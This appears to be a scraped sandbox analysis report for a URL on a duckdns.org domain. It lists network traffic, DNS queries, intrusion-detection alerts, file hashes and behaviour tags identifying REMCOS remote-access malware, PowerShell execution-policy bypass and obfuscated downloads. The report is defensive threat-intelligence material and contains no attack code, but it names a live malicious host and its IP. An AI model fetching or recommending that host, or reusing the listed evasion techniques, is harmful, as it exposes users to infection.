1684	svchost.exe	GET	200	2.23.246.101:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
4712	MoUsoCoreWorker.exe	GET	200	95.101.54.224:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
4712	MoUsoCoreWorker.exe	GET	200	2.23.246.101:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
—	—	GET	200	184.30.131.245:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D	unknown	—	—	whitelisted
1176	svchost.exe	GET	200	184.30.131.245:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
—	—	GET	200	46.246.80.11:80	http://asegurar4octubre.duckdns.org/	unknown	—	—	unknown
—	—	GET	200	46.246.80.11:80	http://asegurar4octubre.duckdns.org/icons/blank.gif	unknown	—	—	unknown
—	—	GET	200	46.246.80.11:80	http://asegurar4octubre.duckdns.org/icons/unknown.gif	unknown	—	—	unknown
—	—	GET	404	46.246.80.11:80	http://asegurar4octubre.duckdns.org/favicon.ico	unknown	—	—	unknown
—	—	GET	200	46.246.80.11:80	http://asegurar4octubre.duckdns.org/icons/blank.gif	unknown	—	—	unknown

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:137	—	—	—	whitelisted
—	—	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4712	MoUsoCoreWorker.exe	95.101.54.224:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
4712	MoUsoCoreWorker.exe	2.23.246.101:80	www.microsoft.com	Ooredoo Q.S.C.	QA	whitelisted
1684	svchost.exe	2.23.246.101:80	www.microsoft.com	Ooredoo Q.S.C.	QA	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
5064	SearchApp.exe	184.86.251.22:443	www.bing.com	Akamai International B.V.	DE	whitelisted
—	—	184.30.131.245:80	ocsp.digicert.com	AKAMAI-AS	US	whitelisted
1176	svchost.exe	40.126.31.131:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
1176	svchost.exe	184.30.131.245:80	ocsp.digicert.com	AKAMAI-AS	US	whitelisted

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	51.104.136.2 4.231.128.59	whitelisted
crl.microsoft.com	95.101.54.224 95.101.54.240	whitelisted
www.microsoft.com	2.23.246.101 184.30.21.171	whitelisted
google.com	142.250.185.78	whitelisted
www.bing.com	184.86.251.22 184.86.251.7 184.86.251.9 184.86.251.27 23.15.178.147 23.15.178.226 2.23.227.215 2.23.227.208	whitelisted
ocsp.digicert.com	184.30.131.245 2.17.190.73	whitelisted
login.live.com	40.126.31.131 40.126.31.128 20.190.159.64 40.126.31.69 40.126.31.71 20.190.159.2 40.126.31.130 40.126.31.129	whitelisted
asegurar4octubre.duckdns.org	46.246.80.11	unknown
config.edge.skype.com	13.107.42.16	whitelisted
edge.microsoft.com	204.79.197.239 13.107.21.239	whitelisted

Threats

PID	Process	Class	Message
2192	svchost.exe	Potentially Bad Traffic	ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain
2192	svchost.exe	Misc activity	ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain
2192	svchost.exe	Potentially Bad Traffic	ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain
2192	svchost.exe	Misc activity	ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain
2192	svchost.exe	Potentially Bad Traffic	ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain
2192	svchost.exe	Potentially Bad Traffic	ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain
2192	svchost.exe	Potentially Bad Traffic	ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain
2192	svchost.exe	Misc activity	ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain
2192	svchost.exe	Misc activity	ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain
2192	svchost.exe	Misc activity	ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain

Add for printing

Process	Message
notepad++.exe	VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
notepad++.exe	VerifyLibrary: certificate revocation checking is disabled
notepad++.exe	ED255D9151912E40DF048A56288E969A8D0DAFA3
notepad++.exe	VerifyLibrary: C:\Program Files\Notepad++\updater\gup.exe
notepad++.exe	VerifyLibrary: error while getting certificate informations
notepad++.exe	VerifyLibrary: certificate revocation checking is disabled
notepad++.exe	VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
notepad++.exe	VerifyLibrary: certificate revocation checking is disabled
notepad++.exe	ED255D9151912E40DF048A56288E969A8D0DAFA3

General Info

http://asegurar4octubre.duckdns.org/

B0D46E6BAC9BA141B02FA729CBCA9FB2

9AF35A62922839FE032297840E29835E514CC993

6A274E5CD585E56E7367001314EBAE6C1CD3C3F9E470AD5F1AAF108E618A5358

3:N1KfiCEwQ1IWin:CjEj1IWi

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Downloads the requested resource (POWERSHELL)

Bypass execution policy to execute commands

Changes powershell execution policy (Bypass)

REMCOS mutex has been found

REMCOS has been detected (SURICATA)

REMCOS has been detected

REMCOS has been detected (YARA)

SUSPICIOUS

Block-list domains

Gets or sets the security protocol (POWERSHELL)

Uses base64 encoding (POWERSHELL)

Runs shell command (SCRIPT)

Probably obfuscated PowerShell command line is found

Starts POWERSHELL.EXE for commands execution

Gets content of a file (POWERSHELL)

Application launched itself

The process executes Powershell scripts

Probably download files using WebClient

Potential Corporate Privacy Violation

Contacting a server suspected of hosting an CnC

Connects to unusual port

Reads security settings of Internet Explorer

There is functionality for taking screenshot (YARA)

INFO

Uses string replace method (POWERSHELL)

Manual execution by a user

Checks supported languages

Reads the computer name

Reads Environment values

Converts byte array into Unicode string (POWERSHELL)

Application launched itself

Checks proxy server information

Disables trace logs

Creates files or folders in the user directory

Reads the machine GUID from the registry

Creates files in the program directory

The sample compiled with english language support

Executable content was dropped or overwritten

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity